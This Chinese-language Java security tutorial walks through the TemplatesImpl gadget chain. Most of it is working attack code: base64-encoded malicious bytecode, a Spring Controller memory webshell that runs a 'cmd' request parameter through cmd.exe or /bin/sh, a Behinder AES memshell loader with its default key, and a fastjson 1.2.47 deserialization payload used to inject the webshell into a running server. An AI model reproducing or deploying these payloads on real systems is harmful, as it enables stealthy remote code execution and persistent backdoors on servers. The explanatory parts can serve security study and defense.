TemplatesImpl利用链是一个非常重要的东西,要知道,CC链可以用它,CB链也用它,注入内存马还是用它。为什么?因为它可以加载java字节码并实例化。相对于调用Runtime.exec进行命令执行,加载恶意代码更贴合我们的使用。
《java安全漫谈》中给出了TemplatesImpl利用链:
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()->
在CB1分析中有提到,其实这条利用链还能加一个getOutputProperties,详见:https://xz.aliyun.com/t/12042
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
ClassLoader,类加载器,是JVM执行类加载机制的前提,其主要任务为根据一个类的全限定名来读取此类的二进制字节流到JVM内部,然后转换为一个与目标类对应的java.lang.Class对象实例。
ClassLoader提供的API
package java.lang; public abstract class ClassLoader { public Class loadClass(String name); protected Class defineClass(byte[] b); public URL getResource(String name); public Enumeration getResources(String name); public ClassLoader getParent(); }
URLClassLoader DefineClassLoader BCELClassloader TemplatesImpl
通过反射获取ClassLoader#defineClass,进而读取字节码加载类
package com.classloader; import java.lang.reflect.Method; import java.util.Base64; public class DefineClassLoaderDemo { public static void main(String[] args) throws Exception { //反射获取ClassLoader#defineClass Class clazz = Class.forName("java.lang.ClassLoader"); Method defineClassMethod = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); //先编译Evil.java,再进行base64编码 //cat Evil.class | base64 byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAMAoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAIACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFkxjb20vY2xhc3Nsb2FkZXIvRXZpbDsBAApFeGNlcHRpb25zBwAkAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAALAAwHACUMACYAJwEAAnt9BwAoDAApACoHACsMACwALQEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMAC4ALwEABnN0YXRpYwEAFGNvbS9jbGFzc2xvYWRlci9FdmlsAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAIADQAAAEwAAgABAAAAFiq3AAGyAAISA7YABLgABRIGtgAHV7EAAAACAA4AAAASAAQAAAAGAAQADQAMAAcAFQAIAA8AAAAMAAEAAAAWABAAEQAAABIAAAAEAAEAEwAIABQADAABAA0AAAAlAAIAAAAAAAmyAAISCLYABLEAAAABAA4AAAAKAAIAAAAKAAgACwABABUAAAACABY="); Class targetClass = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(),"com.classloader.Evil",bytes,0,bytes.length); targetClass.newInstance(); } }
看最后两行,通过反射拿到的方法,创建class对象。
通过newInstance实例化对象,触发恶意代码
Class targetClass = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(),"com.classloader.Evil",bytes,0,bytes.length); targetClass.newInstance();
com.classloader.Evil代码如下
package com.classloader; import java.io.IOException; public class Evil { public Evil() throws IOException{ Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); } static { System.out.println("static"); } { System.out.println("{}"); } }
我们知道,一个对象在可以被使用之前必须要被正确地实例化。
常见的实例化方式为
reTest re = new reTest();
如图,有个类reTest,分别存在static{}代码块,{}代码块,无参构造方法
实例化该类,可以看到,上面的3个代码块都执行了,并且顺序为: static{}>{}>无参构造方法
再看通过newInstance的方式,一样执行了几个代码块中的内容。
所以我们可以知道:
defineClass方法直接根据字节数组定义一个类,如果没有执行newInstance,那么不会执行静态代码块、构造代码块、构造方法中的内容。
1、首先准备一个命令执行Exp。看了前面的内容知道,这里是写了一个无参构造方法,内容为调用Runtime执行一个弹出计算器的命令。
package com.classloader; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class TemplatesImplEvil extends AbstractTranslet { public TemplatesImplEvil() throws IOException { super(); Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
2、然后我们就会有疑惑了,为什么这个Exp代码这么长,多了一些什么东西?
1、继承了一个类AbstractTranslet 2、多了两个transform方法
3、编写代码,加载前面的TemplatesImplEvil字节码
package com.classloader; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.util.Base64; public class TemplatesImplDemo { public static void main(String[] args) throws Exception{ //cat TemplatesImplEvil.class | base64 byte[] code = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAjTGNvbS9jbGFzc2xvYWRlci9UZW1wbGF0ZXNJbXBsRXZpbDsBAApFeGNlcHRpb25zBwAlAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAJgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlbXBsYXRlc0ltcGxFdmlsLmphdmEMAAcACAcAJwwAKAApAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAKgArAQAhY29tL2NsYXNzbG9hZGVyL1RlbXBsYXRlc0ltcGxFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADgAEAA8ADQAQAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAFgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAOAAAABAABABYAAQAcAAAAAgAd"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][] {code}); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } }
4、执行,确实弹出了计算器
5、这里很麻烦,每次都要去找到class文件并获取它的字节码,可以通过一个包,直接读取字节码
<!-- https://mvnrepository.com/artifact/javassist/javassist --> <dependency> <groupId>javassist</groupId> <artifactId>javassist</artifactId> <version>3.12.1.GA</version> </dependency>
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.classloader.TemplatesImplEvil.class.getName()); byte[] code = clazz.toBytecode();
6、可以正常执行了,我在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader#defineClass处下了个断点
7、前面知道了newInstance实例化之后才能触发构造方法,这里看调用链,最后是到defineClass就结束了,为什么也可以实现调用构造方法呢,我在Runtime处下了个断点查看
8、看利用链是从getTransletInstance就调用了newInstance
9、在newInstance的上面,进行了_name和_class的判断,然后进入调用链到defineClass进行类定义
之后,到
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
强转为AbstractTranslet,并且调用newInstance实例化。
这也是为什么执行的类需要继承AbstractTranslet,并且没有看到newInstance
10、完善之后的利用链
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass() TemplatesImpl#getTransletInstance() -> Constructor#newInstance() -> Runtime#exec(java.lang.String)
11、补个坑,TemplatesImplEvil创建的两个transform方法,继承AbstractTranslet自动需要的。
文章第四部分,了解了实例化类的时候,会自动执行static{}代码块,{}代码块,无参构造方法
那么如何注入内存马呢,也是通过newInstance实现
1、首先我们看完整的spring Controller内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;
//回显spring Controller内存马
public class TemplatesImplSpringController extends AbstractTranslet {
public TemplatesImplSpringController() throws Exception{
super();
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Method method2 = TemplatesImplSpringController.class.getMethod("test");
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
mappingHandlerMapping.registerMapping(info, inject, method2);
}
public TemplatesImplSpringController(String aaa) {
}
public void test() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
2、内容有点多,首先看到有如下几个方法
public TemplatesImplSpringController() throws Exception{
public TemplatesImplSpringController(String aaa) {
public void test() throws Exception {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
3、倒数两个可以不看,前面了解了要通过templatesImpl加载某个类的字节码,需要继承AbstractTranslet,继承之后自动生成两个transform方法
4、然后整个内存马就变成了3个部分
无参构造方法TemplatesImplSpringController()
有参构造方法TemplatesImplSpringController(String aaa)
test()
5、了解过内存马之后我们知道,tomcat或者spring,注入内存马都基本是通过获取上下文对象,再通过内置方法动态注册filter、listener、selvelt、controller、intercopter等
查看无参构造方法
public TemplatesImplSpringController() throws Exception{
super();
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Method method2 = TemplatesImplSpringController.class.getMethod("test");
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
mappingHandlerMapping.registerMapping(info, inject, method2);
}
super关键字主要是防止编译报错,具体可以看:
https://blog.csdn.net/yongbutingxide/article/details/82669054
获取上下文对象context市面上公布的有4种方式:
//第一种:getCurrentWebApplicationContext()
// getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
//第二种:WebApplicationContextUtils
// 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
//第三种:RequestContextUtils
// 通过 ServletRequest 类的实例来获得 Child WebApplicationContext
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
//第四种:getAttribute
// 这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
6、拿到context之后,就可以通过context获取RequestMappingHandlerMapping,对象可以通过registerMapping注册恶意的Controller
// 动态注册controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
...
...
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
...
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, inject, method2);
7、中间部分则是创建好注册恶意controller所需要的字段,url为指定的路径
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = TemplatesImplSpringController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
8、第二个构造函数与无参构造函数中创建对象的含义
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
9、最后剩下test部分,此部分最后会注册到spring中,为内存马实际执行代码。
public void test() throws Exception {
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令,回显
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}
比较关键的就是request和response对象的获取
引入的两个包为tomcat包,这也是为什么spring gateway的el表达式注入漏洞无法直接注入冰蝎内存马的原因
通过的是templatesImpl利用链
{"a": {"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"b": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["恶意类字节码"],'_name': 'a.b','_tfactory': {},"_outputProperties": {},"_name": "b","_version": "1.0","allowedProtocols": "all"}}
1、起一个springboot,代码如下
package com.shiro.vuln.Controller;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.springframework.http.MediaType;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class FastjsonController {
@RequestMapping( "/deserialize")
@ResponseBody
public String deserialize(@RequestParam String code) throws Exception{
// JSON.parse(code);
//fastjson1.2.47 TemplatesImpl利用
JSON.parseObject(code,Object.class, Feature.SupportNonPublicField);
return "deserialize";
}
}
2、使用TemplatesImplEvil字节码攻击
加载的恶意类代码
获取恶意类字节码base64
执行弹出计算器
3、获取内存马恶意类的字节码base64
4、攻击fastjson,注入内存马
5、访问内存马
6、修改test部分为冰蝎逻辑即可注入冰蝎内存马
public void test() throws Exception {
try {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
HttpSession session = request.getSession();
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", session);
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
}catch (Exception e){
e.printStackTrace();
}
}
生成字节码base64
发送数据包
连接http://192.168.100.71:8080/shell2
https://t.zsxq.com/0a70j7Ake
https://xz.aliyun.com/t/12042
https://mp.weixin.qq.com/s/30F7FomHiTnak_qe8mslIQ
https://xz.aliyun.com/t/10781
https://xz.aliyun.com/t/12047